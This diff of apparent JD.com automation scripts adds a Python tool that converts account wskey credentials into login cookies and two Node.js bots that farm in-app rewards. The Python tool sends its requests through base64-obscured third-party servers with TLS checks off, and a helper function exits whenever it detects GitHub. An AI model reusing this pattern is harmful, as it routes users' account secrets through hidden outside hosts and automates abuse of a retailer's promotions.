['aHR0cDovLzQzLjEzNS45MC4yMy8=', 'aHR0cHM6Ly9zaGl6dWt1Lm1sLw==', 'aHR0cHM6Ly9jZi5zaGl6dWt1Lm1sLw=='] + for i in url_list: + url = str(base64.b64decode(i).decode()) + try: + requests.get(url=url, verify=False, timeout=10) + except Exception as err: + logger.debug(str(err)) + continue + else: + info = ['Default', 'HTTPS', 'CloudFlare'] + logger.info(str(info[url_list.index(i)]) + " Server Check OK\n--------------------\n") + return i + logger.info("\n云端地址全部失效, 请检查网络!") + try: + send('WSKEY转换', '云端地址失效. 请联系作者或者检查网络.') + except Exception as err: + logger.debug(str(err)) + logger.info("通知发送失败") + sys.exit(1) + + +def check_port(): + logger.info("\n--------------------\n") + if "QL_PORT" in os.environ: + try: + port = int(os.environ['QL_PORT']) + except Exception as err: + logger.debug(str(err)) + logger.info("变量格式有问题...\n格式: export QL_PORT=\"端口号\"") + logger.info("使用默认端口5700") + return 5700 + else: + port = 5700 + if not ql_check(port): + logger.info(str(port) + "端口检查失败, 如果改过端口, 请在变量中声明端口 \n在config.sh中加入 export QL_PORT=\"端口号\"") + logger.info("\n如果你很确定端口没错, 还是无法执行, 在GitHub给我发issus\n--------------------\n") + sys.exit(1) + else: + logger.info(str(port) + "端口检查通过") + return port + + +if __name__ == '__main__': + port = check_port() + token = ql_login() # 获取青龙 token + s = requests.session() + s.headers.update({"authorization": "Bearer " + str(token)}) + s.headers.update({"Content-Type": "application/json;charset=UTF-8"}) + ql_id = check_id() + url_t = check_cloud() + cloud_arg = cloud_info() + update() + ua = cloud_arg['User-Agent'] + wslist = get_wskey() + envlist = get_env() + if "WSKEY_SLEEP" in os.environ and str(os.environ["WSKEY_SLEEP"]).isdigit(): + sleepTime = int(os.environ["WSKEY_SLEEP"]) + else: + sleepTime = 10 + for ws in wslist: + wspin = ws.split(";")[0] + if "pin" in wspin: + wspin = "pt_" + wspin + ";" # 封闭变量 + return_serch = serch_ck(wspin) # 变量 pt_pin 搜索获取 key eid + if return_serch[0]: # bool: True 搜索到账号 + jck = str(return_serch[1]) # 拿到 JD_COOKIE + if not check_ck(jck): # bool: False 判定 JD_COOKIE 有效性 + tryCount = 1 + if "WSKEY_TRY_COUNT" in os.environ: + if os.environ["WSKEY_TRY_COUNT"].isdigit(): + tryCount = int(os.environ["WSKEY_TRY_COUNT"]) + for count in range(tryCount): + count += 1 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: + break + if count < tryCount: + logger.info("{0} 秒后重试,剩余次数:{1}\n".format(sleepTime, tryCount - count)) + time.sleep(sleepTime) + if return_ws[0]: # bool: True + nt_key = str(return_ws[1]) + # logger.info("wskey转pt_key成功", nt_key) + logger.info("wskey转换成功") + eid = return_serch[2] # 从 return_serch 拿到 eid + ql_update(eid, nt_key) # 函数 ql_update 参数 eid JD_COOKIE + else: + if "WSKEY_AUTO_DISABLE" in os.environ: # 从系统变量中获取 WSKEY_AUTO_DISABLE + logger.info(str(wspin) + "账号失效") + text = "账号: {0} WsKey疑似失效".format(wspin) + else: + eid = return_serch[2] + logger.info(str(wspin) + "账号禁用") + ql_disable(eid) + text = "账号: {0} WsKey疑似失效, 已禁用Cookie".format(wspin) + try: + send('WsKey转换脚本', text) + except Exception as err: + logger.debug(str(err)) + logger.info("通知发送失败") + else: + logger.info(str(wspin) + "账号有效") + eid = return_serch[2] + ql_enable(eid) + logger.info("--------------------\n") + else: + logger.info("\n新wskey\n") + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: + nt_key = str(return_ws[1]) + logger.info("wskey转换成功\n") + ql_insert(nt_key) + logger.info("暂停{0}秒\n".format(sleepTime)) + time.sleep(sleepTime) + else: + logger.info("WSKEY格式错误\n--------------------\n") + logger.info("执行完成\n--------------------") + sys.exit(0) diff --git a/jd_wyw.js b/jd_wyw.js new file mode 100644 index 0000000..21a2f72 --- /dev/null +++ b/jd_wyw.js @@ -0,0 +1,153 @@ +/* + +============Quantumultx=============== +[task_local] +#玩一玩成就 +0 8 * * * jd_wyw.js, tag=玩一玩成就, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_wyw.png, enabled=true + +================Loon============== +[Script] +cron "0 8 * * *" script-path=jd_wyw.js,tag=玩一玩成就 + +===============Surge================= +玩一玩成就 = type=cron,cronexp="0 8 * * *",wake-system=1,timeout=3600,script-path=jd_wyw.js + +============小火箭========= +玩一玩成就 = type=cron,script-path=jd_wyw.js, cronexpr="0 8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('玩一玩成就'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.invitePinTaskList = [] + +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getPlayTaskCenter() + for (const playTaskCenterListElement of $.playTaskCenterList) { + $.log(`play ${playTaskCenterListElement.name} 获得成就值: ${playTaskCenterListElement.achieve}`) + await doPlayAction(playTaskCenterListElement.playId) + } + + + + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +function getPlayTaskCenter() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app"}&client=wh5&clientVersion=1.0.0`,`playTaskCenter`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.playTaskCenterList = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doPlayAction(playId) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app","playId":"${playId}","type":"1"}&client=wh5&clientVersion=1.0.0`,`playAction`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + debugger + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +function taskPostClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId?`functionId=${functionId}`:``}`, + body: body, + headers: { + 'User-Agent':$.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://api.m.jd.com', + 'Referer':'https://funearth.m.jd.com/babelDiy/Zeus/3BB1rymVZUo4XmicATEUSDUgHZND/index.html?source=6&lng=113.388032&lat=22.510956&sid=f9dd95649c5d4f0c0d31876c606b6cew&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_xinruimz.js b/jd_xinruimz.js new file mode 100644 index 0000000..3a2a5c4 --- /dev/null +++ b/jd_xinruimz.js @@ -0,0 +1,490 @@ +/* +cron 30 6-20/3 * * * jd_xinruimz.js +TG https://t.me/duckjobs +Rpeo https://github.com/okyyds +需要手动选 +入口: https://xinruimz-isv.isvjcloud.com/plantation + +无助力 +*/ + +const $ = new Env("颜究种植园"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let waternum = 0; +let exfertilizer = true; +let xinruimz = false; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.xinruimz && process.env.xinruimz != "") { + xinruimz = process.env.xinruimz; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + if (xinruimz) { + console.log('执行颜究种植园') + } else { + console.log('不执行颜究种植园 请设置环境变量 xinruimz ture') + break; + } + UA = `jdapp;iPhone;10.1.6;13.5;${UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.hotFlag = false; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.tasklist = []; + $.infoArr = []; + $.token = ''; + $.accessToken = ''; + await getToken(); + if ($.token) { + await taskPost('auth', `{ "token": "${$.token}", "source": "01" }`); + // await taskPost('bind_friend_relation', `{"shop_id":0,"invite_user_id":"1612705"}`); + if ($.accessToken) { + await task('get_home_info'); + if (!$.hotFlag) { + $.log(`去执行水滴任务\n`) + await waterdotask(); + if ($.plantinfo) { + await plantinfo(); + if ($.infoArr != '') { + for (const vo of $.infoArr) { + $.storefertilizer = ''; + $.storewater = ''; + if (vo.status === 1) { + console.log(`${vo.name}已经可以收取啦!`) + message += `\n【京东账号${$.index}】${$.nickName || $.UserName}\n${vo.name}已经可以收取啦!` + } + await task('fertilizer_state', `shop_id=${vo.shopid}`); + await task('fertilizer_task_info', `shop_id=${vo.shopid}`); + $.log(`\n去执行${vo.name}小样任务`) + await fertilizerdotask(); + $.log(`\n去收取${vo.name}的水滴`) + await taskPost('collect_water', `{"position": ${vo.position}}`); + $.log(`\n去收取${vo.name}的肥料`) + await taskPost('collect_fertilizer', `{"shop_id": ${vo.shopid}}`); + await task('merchant_secondary_pages', `shop_id=${vo.shopid}&channel=index`); + if ($.storefertilizer > 0) { + if (vo.status === 0) { + for (i = 0; i < $.storefertilizer / 10; i++) { + $.log(`去执行${vo.name}施肥..`) + await $.wait(1000); + await taskPost('fertilization', `{"plant_id": ${vo.id}}`); + } + } else { + console.log('该植物不能施肥') + } + } else { + console.log('肥料不足,不施肥!') + } + } + console.log(`\n去执行浇水,共种植${$.infoArr.length}个小样,默认浇水第一个小样,如需浇其他小样,请设置waternum对应数组`) + for (i = 0; i < $.infoArr.length; i++) { + index = i + 1; + console.log(`第${index}个小样,${$.infoArr[i].name}`) + } + if ($.storewater > 0) { + for (x = 0; x < $.storewater / 10; x++) { + $.waterstatus = true; + water = $.infoArr[waternum]; + $.log(`去执行${water.name}浇水..`) + await $.wait(1000); + await taskPost('watering', `{"plant_id": ${water.id}}`); + if (!$.waterstatus) { break } + } + } else { + console.log('水资源不足,不浇水!') + } + } else { + $.log('你还没有种植小样!') + } + } + } else { + $.log('风险用户,快去买买买吧') + } + } else { + $.log('获取accessToken失败') + } + } else { + $.log('获取Token失败') + } +} +async function plantinfo() { + plantinfoX = []; + let plantinfo = $.plantinfo; + for (const vo in plantinfo) { + plantinfoX.push({ + id: plantinfo[vo].data.id, + name: plantinfo[vo].data.name, + position: plantinfo[vo].data.position, + shopid: plantinfo[vo].data.shop_id, + status: plantinfo[vo].data.status, + }); + } + $.infoArr = plantinfoX.filter(item => item.id != undefined); +} +async function fertilizerdotask() { + $.goldstatus = true; + if ($.fertilizerlist && $.fertilizertasklist) { + if ($.fertilizertasklist.shop) { + $.log("去完成关注店铺任务..") + if ($.fertilizerlist.view_shop === 0) { + await task('fertilizer_shop_view', `shop_id=${$.fertilizertasklist.shop.id}`); + await $.wait(2000); + } else { + $.log("任务完成") + } + $.log("去完成去看小样任务..") + if ($.fertilizerlist.sample_view === 0) { + await task('fertilizer_sample_view', `shop_id=${$.fertilizertasklist.shop.id}`); + await $.wait(2000); + } else { + $.log("任务完成") + } + $.log("去完成关注并浏览美妆馆任务..") + if ($.fertilizerlist.chanel_view === 0) { + await task('fertilizer_chanel_view', `shop_id=${$.fertilizertasklist.shop.id}`); + await $.wait(2000); + } else { + $.log("任务完成") + } + if (exfertilizer) { + $.log("美妆币兑换肥料..") + if ($.fertilizerlist.exchange === null || $.fertilizerlist.exchange != '5') { + for (let i = 0; i < 5; i++) { + await task('fertilizer_exchange', `shop_id=${$.fertilizertasklist.shop.id}`); + await $.wait(2000); + if (!$.goldstatus) { break } + } + } else { + console.log("今日美妆币兑换肥料已经达到最大次数") + } + } else { + $.log('你设置了美妆币不兑换肥料,如需开启请exfertilizer设置为true') + } + } + if ($.fertilizertasklist.meetingplaces) { + $.log("去完成逛会员页任务..") + if ($.fertilizertasklist.meetingplaces.length != $.fertilizerlist.view_meetingplace.length) { + for (const vo of $.fertilizertasklist.meetingplaces) { + await task('fertilizer_meetingplace_view', `meetingplace_id=${vo.id}&shop_id=${vo.shop_id}`); + await $.wait(2000); + } + } else { + $.log("任务完成") + } + } + if ($.fertilizertasklist.prodcuts && ["card","car"].includes(process.env.FS_LEVEL)) { + $.log("去完成加购任务..") + if ($.fertilizertasklist.prodcuts.length != $.fertilizerlist.view_product.length) { + for (const vo of $.fertilizertasklist.prodcuts) { + await task('fertilizer_product_view', `product_id=${vo.id}&shop_id=${vo.shop_id}`); + await $.wait(2000); + } + } else { + $.log("任务完成") + } + } + } +} +async function waterdotask() { + await task('water_task_info'); + await task('water_task_state'); + if ($.tasklist && $.viewlist) { + if ($.tasklist.shops) { + $.log("去完成浏览店铺任务..") + if ($.tasklist.shops.length != $.viewlist.view_shop.length) { + for (const vo of $.tasklist.shops) { + await task('water_shop_view', `shop_id=${vo.id}`); + await $.wait(2000); + } + } else { + $.log("任务完成") + } + } + if ($.tasklist.meetingplaces) { + $.log("去完成浏览会场任务..") + if ($.tasklist.meetingplaces.length != $.viewlist.view_meetingplace.length) { + for (const vo of $.tasklist.meetingplaces) { + await task('water_meetingplace_view', `meetingplace_id=${vo.id}`); + await $.wait(2000); + } + } else { + $.log("任务完成") + } + } + if ($.tasklist.prodcuts) { + $.log("去完成加购任务..") + if ($.tasklist.prodcuts.length != $.viewlist.view_product.length) { + for (const vo of $.tasklist.prodcuts) { + await task('water_product_view', `product_id=${vo.id}`); + await $.wait(2000); + } + } else { + $.log("任务完成") + } + } + } else { + $.log('没有获取到任务列表!') + } +} +async function task(function_id, body) { + return new Promise(async resolve => { + $.get(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + switch (function_id) { + case 'get_home_info': + if (data) { + $.plantinfo = data.plant_info; + } + if (data.status_code === 403) { + $.hotFlag = true; + } + break; + case 'water_task_info': + $.tasklist = data; + break; + case 'water_task_state': + $.viewlist = data; + break; + case 'fertilizer_state': + $.fertilizerlist = data; + break; + case 'fertilizer_task_info': + $.fertilizertasklist = data; + break; + case 'merchant_secondary_pages': + if (data.shop) { + $.storefertilizer = data.user.store_fertilizer; + $.storewater = data.user.store_water; + } + if (data.status_code === 422) { + console.log(data.message) + } + break; + case 'water_shop_view': + console.log(`浏览成功,获得:${data.inc}水滴,总水滴:${data.store_water}滴水`) + break; + case 'water_meetingplace_view': + console.log(`浏览成功,获得:${data.inc}水滴,总水滴:${data.store_water}滴水`) + break; + case 'water_product_view': + console.log(`浏览成功,获得:${data.inc}水滴,总水滴:${data.store_water}滴水`) + break; + case 'fertilizer_shop_view': + console.log(`浏览成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + break; + case 'fertilizer_meetingplace_view': + console.log(`浏览成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + break; + case 'fertilizer_product_view': + console.log(`浏览成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + break; + case 'fertilizer_sample_view': + console.log(`浏览成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + break; + case 'fertilizer_chanel_view': + console.log(`浏览成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + break; + case 'fertilizer_exchange': + if (data.inc) { + console.log(`兑换成功,获得:${data.inc}肥料,总肥料:${data.store_fertilizer}肥料`) + } + if (data.status_code === 422) { + console.log(data.message) + $.goldstatus = false; + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPost(function_id, body) { + return new Promise(async resolve => { + $.post(taskPostUrl(function_id, body), async (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data) { + switch (function_id) { + case 'auth': + $.accessToken = data.access_token; + $.tokenType = data.token_type; + break; + case 'bind_friend_relation': + $.log(JSON.stringify(data)) + break; + case 'collect_water': + if (data.status_code === 422) { + console.log(data.message) + } + break; + case 'collect_fertilizer': + if (data.status_code === 422) { + console.log(data.message) + } + break; + case 'watering': + if (data.water) { + console.log(`浇水成功,目前总浇水:${data.water}滴,目前等级:${data.level}`) + } + if (data.status_code === 422) { + console.log(data.message) + $.waterstatus = false; + } + break; + case 'fertilization': + if (data.status_code === 422) { + console.log(data.message) + } else { + console.log(`施肥成功,目前总施肥:${data.fertilizer}滴,目前等级:${data.level}`) + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://xinruimz-isv.isvjcloud.com/papi/${function_id}`, + body: body, + headers: { + "Host": "xinruimz-isv.isvjcloud.com", + "Accept": "application/x.jd-school-raffle.v1+json", + "Authorization": `Bearer undefined` ? `${$.tokenType} ${$.accessToken}` : '', + "Content-Type": "application/json;charset=utf-8", + "Origin": "https://xinruimz-isv.isvjcloud.com", + "User-Agent": UA, + "Referer": "https://xinruimz-isv.isvjcloud.com/plantation/logined_jd/", + "Connection": "keep-alive", + } + } +} + +function taskUrl(function_id, body) { + return { + url: `https://xinruimz-isv.isvjcloud.com/papi/${function_id}?${body}`, + headers: { + "Host": "xinruimz-isv.isvjcloud.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/x.jd-school-raffle.v1+json", + "User-Agent": UA, + "Authorization": `${$.tokenType} ${$.accessToken}`, + "Referer": "https://xinruimz-isv.isvjcloud.com/plantation", + 'Content-Type': 'application/json;charset=UTF-8', + } + } +} + +function getToken() { + let opt = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 